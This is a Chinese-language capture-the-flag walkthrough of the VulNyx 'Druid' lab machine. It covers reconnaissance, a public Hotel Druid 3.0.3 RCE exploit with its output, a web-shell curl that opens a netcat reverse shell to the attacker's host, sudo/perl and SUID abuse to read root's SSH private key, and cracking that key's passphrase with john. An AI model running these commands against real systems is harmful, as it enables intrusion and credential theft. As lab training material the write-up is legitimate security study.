靶场练习-vulnyx：Druid - Easy - VulNyx - 靶场练习 | 🎐清风. = 劈开深海，填入我的山🍂

# 靶场搭建

下载：Druid

Nat,IP: 192.168.1.128

# 渗透过程

# 信息初收集

	PORT STATE SERVICE VERSION
	22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
	\| ssh-hostkey:
	\| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
	\| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
	\|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
	80/tcp open http Apache httpd 2.4.56 ((Debian))
	\|_http-title: Hotel
	\|_http-server-header: Apache/2.4.56 (Debian)

80 端口开了，目录扫描无果

┌──(root㉿kali)-[~]

└─# whatweb http://192.168.1.128

http://192.168.1.128 [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[192.168.1.128], JQuery[3.3.1], Script, Title[Hotel], X-UA-Compatible[IE=edge]

whatweb 找到了一个 Email，感觉是域名，所以添加到 host 解析上再去信息收集： echo '192.168.1.128 hotel.nyx' >> /etc/hosts

既然加了解析，那就跑一下子域

	┌──(root㉿kali)-[~]
	└─# gobuster vhost -u http://hotel.nyx -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 --exclude-length 301 --append-domain
	===============================================================
	Gobuster v3.6
	by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
	===============================================================
	[+] Url: http://hotel.nyx
	[+] Method: GET
	[+] Threads: 100
	[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
	[+] User Agent: gobuster/3.6
	[+] Timeout: 10s
	[+] Append Domain: true
	[+] Exclude Length: 301
	===============================================================
	Starting gobuster in VHOST enumeration mode
	===============================================================
	Found: reservations.hotel.nyx Status: 200 [Size: 398]

添加进 host： echo '192.168.1.128 reservations.hotel.nyx' >> /etc/hosts

打开发现是 Hotel Druid 3.0.3 的 CMS，搜一下 exp 发现了 RCE

# 漏洞利用

	┌──(root㉿kali)-[~]
	└─# python 50754.py -t http://reservations.hotel.nyx/ --noauth

	/$$ /$$ /$$ /$$ /$$$$$$$ /$$ /$$
	\| $$ \| $$ \| $$ \| $$ \| $$__ $$ \|__/ \| $$
	\| $$ \| $$ /$$$$$$ /$$$$$$ /$$$$$$ \| $$ \| $$ \ $$ /$$$$$$ /$$ /$$ /$$ /$$$$$$$
	\| $$$$$$$$ /$$__ $$\|_ $$_/ /$$__ $$\| $$ \| $$ \| $$ /$$__ $$\| $$ \| $$\| $$ /$$__ $$
	\| $$__ $$\| $$ \ $$ \| $$ \| $$$$$$$$\| $$ \| $$ \| $$\| $$ \__/\| $$ \| $$\| $$\| $$ \| $$
	\| $$ \| $$\| $$ \| $$ \| $$ /$$\| $$_____/\| $$ \| $$ \| $$\| $$ \| $$ \| $$\| $$\| $$ \| $$
	\| $$ \| $$\| $$$$$$/ \| $$$$/\| $$$$$$$\| $$ \| $$$$$$$/\| $$ \| $$$$$$/\| $$\| $$$$$$$
	\|__/ \|__/ \______/ \___/ \_______/\|__/ \|_______/ \|__/ \______/ \|__/ \_______/

	Exploit By - 0z09e (https://twitter.com/0z09e)


	[*] Trying to access the Dashboard.
	[*] Checking the privilege of the user.
	[+] User has the privilege to add room.
	[*] Adding a new room.
	[+] Room has been added successfully.
	[*] Testing code exection
	[+] Code executed successfully, Go to http://reservations.hotel.nyx/dati/selectappartamenti.php and execute the code with the parameter 'cmd'.
	[+] Example : http://reservations.hotel.nyx/dati/selectappartamenti.php?cmd=id
	[+] Example Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

	┌──(root㉿kali)-[~]
	└─# curl http://reservations.hotel.nyx/dati/selectappartamenti.php?cmd=nc%20192.168.1.129%204444%20-e%20/bin/bash

拿到弹出来的 shell

# 提权

sudo -u sun perl -e 'exec "/bin/sh";'

或者在用 perl 弹一下 shell

拿到 sun 的 shell 时候 sudo -l 要密码

那么看一下 suid 权限的文件，发现 super 有 suid 权限

那么我们 super 一下发现可以执行 secret: super secret -h 发现这个 secret 就是为了把文字颠倒，OJ8K 了，读一下敏感的文件： super secret /root/.ssh/id_rsa | rev

拿到了密钥

破解一下 passphrase

	┌──(root㉿kali)-[~]
	└─# ssh2john id_rsa > id_rsa.hash

	┌──(root㉿kali)-[~]
	└─# john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
	Using default input encoding: UTF-8
	Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
	Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
	Cost 2 (iteration count) is 2 for all loaded hashes
	Will run 4 OpenMP threads
	Press 'q' or Ctrl-C to abort, almost any other key for status
	super1 (id_rsa)
	1g 0:00:00:00 DONE (2024-05-21 23:07) 33.33g/s 166400p/s 166400c/s 166400C/s jimmie..david123
	Use the "--show" option to display all of the cracked passwords reliably
	Session completed.

得到密码 super1

拿到了 root 权限

# 小结

多熟悉程序， super 和 secret 都没见过的，只能靠猜

vi 可以使用 :1,$d 快速删除所有的字符，或者 :5,8d 删除 5 到 8 行的字符

靶场 VulNyx